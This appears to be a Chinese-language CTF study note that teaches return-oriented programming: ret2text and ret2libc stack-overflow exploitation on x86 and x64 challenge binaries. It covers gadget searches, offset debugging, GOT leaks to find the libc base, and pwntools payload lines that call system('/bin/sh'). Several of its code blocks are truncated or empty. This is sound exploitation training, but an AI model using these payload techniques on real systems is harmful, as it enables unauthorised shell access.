# 一.ROP 编程介绍
随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP (Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。
之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP 攻击一般得满足如下条件:
1. 程序存在溢出,并且可以控制返回地址。
2. 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。
3. 如果 gadgets 每次的地址是不固定的,那我们就需要想办法动态获取对应的地址了。
# 二.ret2text
# 1. 原理
ret2text 即控制程序执行程序本身已有的的代码 (.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。
这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。
注: ret2text 即控制返回地址指向程序本身已有的的代码 (.text) 并执行
# 2.x64 和 x86 函数调用方式不同导致 ret2text 布栈不同
# 2.1 函数调用约定
_cdecl: c/c++ 默认方式,参数从右向左入栈,主调函数负责栈平衡。
_stdcall: Windows API 方式,参数从右向左入栈,被调函数负责栈平衡。
_fastcall: 快速调用方式。即将参数优先从寄存器传入(ecx 和 edx),剩下的参数从右向左入栈。由于栈位于内存区域,而寄存器位于 cpu 内,存取快于内存。
这里讲述默认的 gcc 调用约定_cdecl 的一些特点。
x86
- 使用栈传递参数
- 使用 eax 存放返回值
x64
- 前六个参数依次存放于 rdi,rsi,rdx,rcx,r8,r9 中
- 多余的参数存放于栈中
# 3. 解法举例
# 3.1x86 题解方法
对于函数传参的函数,其栈格式为:
故而我们需要利用溢出覆盖返回地址进入 func 函数内部,再将参数一指向 “/bin/sh” 的储存地址即可。其中要注意的是 r 处需要我们进行垃圾数据的填充。
现在利用 gdb 查找 func 函数地址和 sh 存放地址(具体偏移量由 ida 查看不再详细讲解)
注意这种 x86 是要进入 func 函数,然后把参数一覆盖成 bin/sh, 因此有三个参数,payload = padding*b'a' + p32 (ret_addr) + p32 (0) + p32 (sh_addr)
书写 payload:
1 | ` |
成功
# 3.2x64 解题方法
对 x64 的参数,大部分情况下,前六个参数储存在寄存器内,无法直接使用简单的栈溢出修改寄存器内容,这时候我们需要解除 ROPgadget 工具进行辅助。
ROP (Return Oriented Programming),即返回导向编程,通过栈溢出内容覆盖返回地址,使其跳转到可执行文件中已有的片段代码中执行我们选择的代码段。
知道了 ROP 工具的功能,我们需要做的是
- 修改 rdi 的值(可使用代码 pop rdi ; ret)
- 在栈中放入‘bin/sh’经由 pop 提交给 rdi
- 进入 func 函数内调用 system 函数
利用 gdb 查找 func 函数地址和 sh 存放地址(具体偏移量由 ida 查看不再详细讲解):
利用 ROPgadget 查找需要的代码行 --pop rdi ; ret
1 | ROPgadget --binary ret2text_func2_x64 --only 'pop|ret' |
payload = padding*b'a' + p64 (pop_rdi_ret) + p64 (sh_addr)+ p64 (ret_addr) #64 位三步走原则
构造 payload:
1 | ` |
运行成功 pwn 掉
# 3.3x86 举例
其实,在栈溢出的基本原理中,我们已经介绍了这一简单的攻击。在这里,我们再给出另外一个例子,bamboofox 中介绍 ROP 时使用的 ret2text 的例子。
首先,查看一下程序的保护机制
1 | ➜ ret2text checksec ret2text |
可以看出程序是 32 位程序,其仅仅开启了栈不可执行保护。然后,我们使用 IDA 来查看源代码。
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
可以看出程序在主函数中使用了 gets 函数,显然存在栈溢出漏洞。此后又发现
1 | .text:080485FD secure proc near |
在 secure 函数又发现了存在调用 system ("/bin/sh") 的代码,那么如果我们直接控制程序返回至 0x0804863A,那么就可以得到系统的 shell 了。
下面就是我们如何构造 payload 了,首先需要确定的是我们能够控制的内存的起始地址距离 main 函数的返回地址的字节数。
1 | .text:080486A7 lea eax, [esp+1Ch] |
可以看到该字符串是通过相对于 esp 的索引,所以我们需要进行调试,将断点下在 call 处,查看 esp,ebp,如下
1 | gef➤ b *0x080486AE |
────────────────────────────────────────────────────────────────
1 | ──────[ registers ]──── |
可以看到 esp 为 0xffffcd40,ebp 为 0xffffcdc8,同时 s 相对于 esp 的索引为 esp+0x1c,因此,我们可以推断
s 的地址为 0xffffcd5c
s 相对于 ebp 的偏移为 0x6c
s 相对于返回地址的偏移为 0x6c+4
最后的 payload 如下:
这种 x86 直接就是主函数中有输入函数,具体题目中二者区别不大,有时都能打通
1 | ##!/usr/bin/env python |
# 3.3x86 题解补充疑问(为什么加 p32 (0))- 栈对齐
对于本题的函数传参,我们的栈帧构造初步想法如图
ebp | ‘aaaa’ |
r | return to func |
参数一 | “/bin/sh” |
- 输入适量垃圾填充 padding * b 'a'
- 覆盖返回地址指向 func 函数 p32 (ret_addr)
- 参数 "/bin/sh" 地址
则 payload = padding*b'a' + p32 (ret_addr) + p32 (sh_addr)
然而这样的脚本在攻击时会出错。原因在于:
正常的函数调用 call 来达到 push eip;jmp 的作用,经过初步 payload 构造的攻击如下图所示,是通过覆盖 return 达到 jmp 的作用的,并没有像 call 一样 push eip 到栈中。
故而 ret 执行后,ebp 后为我们输入的参数而非 eip 原地址(函数结束后返回的地址),而函数读取参数的位置在上文中已经展示,为 ebp+0x8。故而在利用 ret2text 覆盖 pwn 题时候,需要自行加入一行栈帧的填充。
# 三.ret2libc
# I. 灵魂五问
1. 没有写 system 就一定没有 system?
答:有 system, 在 libc 里面,别人写好的
2. 怎找到 libc 基地址 ?
答:使用输出 libc 其中的函数地址,从而计算基地址
3. 怎么输出 libc 其中的函数地址?
答:模仿程序如何找 libc 其中的函数地址的方式去寻找。
4. 怎把 GOT 表项内容打印出来。
答:利用输出函数泄露 got 表内容。
5. 怎么找到 system binsh 地址
答:利用偏移计算
常用会用到的指令:
1 | `readelf -a b|less # |
# II. 自己的理解
1. 我们如何得到 system 函数的地址呢?这里就主要利用了两个知识点
system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。而 libc 在 github 上有人进行收集
所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。
2. 那么如何得到 libc 中的某个函数的地址呢?
我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。
我们自然可以根据上面的步骤先得到 libc,之后在程序中查询偏移,然后再次获取 system 地址,但这样手工操作次数太多,有点麻烦,这里给出一个 libc 的利用工具,具体细节请参考 readme
https://github.com/lieanu/LibcSearcher
此外,在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址。
这里我们泄露 libc_start_main 的地址,这是因为它是程序最初被执行的地方。基本利用思路如下
1. 泄露 libc_start_main 地址
2. 获取 libc 版本
3. 获取 system 地址与 /bin/sh 的地址
4. 再次执行源程序
5. 触发栈溢出执行 system (‘/bin/sh’)**
# III. 解法举例
# 1)x64:
# 0. 调用约定
64 位系统中使用寄存器传递参数:rdi、rsi、rdx、rcx、r8、r9(1-6 个参数)
参考:http://abcdxyzk.github.io/blog/2012/11/23/assembly-args/
要构造 write (1,buf2,20),需要控制 3 个参数:rdi、rsi、rdx,
第 3 个参数代表输出的 size,如果没有 rdx 的 gadget 可以暂时不管,输出多少无所谓,
在下面我们构造 payload 的时候,我们不写第 3 个参数
# 0.1 举例
1 | 当我们覆盖到rbp后回忆函数调用的流程,把rbp的下一个地址开始原来存的东西覆盖成我们想要的地址 |
# 1.padding
首先我们需要确定 padding,在哪里溢出,把这个空填满,溢出到 rbp 完
----padding 和以前一样,看哪里 gets 或者 read 函数,这里其实就是 scanf
---- 可以通过 ida 或者动态调试得到
---- 参考以前的题目,像 buuctf 前几道 rip,level..
# 2. 第一次溢出,目标获得的 libc 某个函数的真实地址
# 2.1 第一次溢出
比如:以下是 write 函数为例
1 | leak_func_name ='write' |
# 2.2 收获这个函数的真实地址
1 | gets_addr=u64(p.recv()[:8]) #p.recv()[:8]: 这个部分是将从管道中接收到的数据的前 8 个字节切片出来。u64换成无符号整数 |
# 3. 第二次溢出构造 payload2
# 3.1 获得基地址
1 | libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")#本地调试,可用ldd查 |
# 3.2 算 system 和 binsh 地址
1 | system_addr=libc_base+libc.symbols["system"] |
1 | #远程版本 |
# 3.3 获取 shell
1 | payload2=offset*b"B"+p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(system_addr) #64位三步走,和rettext一样 |
# 2)x86: 最大区别是参数存放不用寄存器
# 0. 使用条件
ret2libc 的使用条件
泄漏 Libc 函数地址的条件:程序有输出函数,如 puts、printf、write;要输出函数的目的是要泄漏地址
实现:设置好输出函数的参数为某函数 GOT 表地址;GOT 表中保存已调用过的函数的真实地址
# 1. 核心
泄漏 ret2libc_32 任意一个函数的位置
获取 libc 的版本
根据偏移获取 shell 和 sh 的位置
执行程序获取 shell
# 2. 内存分布,举例
---esp
--- ...
--- buf
---ebp 栈帧
---write@plt 返回地址
---main @@@@@' 预留返回地址!!!!!!!!'@@@@
--- 1 write 函数参数一 (1)
---write_got 地址 write 函数参数二 (write_got 地址)
--- 4 write 函数参数三 (写 4 字节) 32 位
--- 高地址,栈底
# 3. 第一次溢出,目标:找到一个函数地址
第一个以 write 为例子:
1 | write_plt=e.plt["write"] |
' 为什么加 1,加 4'
原因:write 函数本身有三个参数(1,'hello!',5)
函数说明:write () 会把参数 buf 所指的内存写入 count 个字节到参数 fd 所指的文件内。
返回值:如果顺利 write () 会返回实际写入的字节数(len)。当有错误发生时则返回 - 1,错误代码存入 errno 中。
//write(int fd, const void *buf, size_t count);
第一个参数 文件描述符 fd 1 输出,0 输入
第二个参数 无类型的指针 buf,可以存放要写的内容
第三个参数 写多少字节数 4 字节
下面再举一个:我们决定用泄露__libc_strart_main 的地址,来判定 libc 的版本
1 | #泄露地址 |
# 4. 第二次溢出,目标:直接获得 shell,像 rettext 一样
# 4.1 获得基地址
1 | libc = ELF("/lib32/libc.so.6") #获得libc版本号 |
# 4.2system 和 binsh 地址
1 | system_addr = libc_base + libc.symbols["system"] |
# 4.3 结束
1 | payload2 = padding*b"A" + p32(system_addr) + p32(0) + p32(bin_sh_addr) #32位两步走 |
# 4.4 补充
大佬 1 号心得
ROP 中对 retlibc 技术的一些学习心得
漏洞利用思路:
1. 找到泄露库函数地址的漏洞,获取 libc 版本(因为一般不会给你 libc.so 文件)
查询 libc 版本一般有三种方法:
1.libcsearcher 库。在编写 exp 的时候用 from LibcSearcher import LibcSearcher 导入
通过 libc.dump ('system') 可以得到 system 函数的偏移,libc.dump ('str_bin_sh') 得到 binsh 字符串的偏移
2.pwntools 自带的 Dynelf,需要先构造一个 leak 函数和一个可以不断触发溢出的漏洞
一个模板:
1 | def leak(address): |
3. 在线查询网站,通过函数的后三位数值查询。https://libc.blukat.me
典型的题目–adworld 里的 level1(非常典型的 retlibc)
源码:
1 | ssize_t vulnerable_function() |
笔记:
context.log_level='debug’开启调试模式;
大佬原文链接:https://blog.csdn.net/qq_41706924/article/details/89607683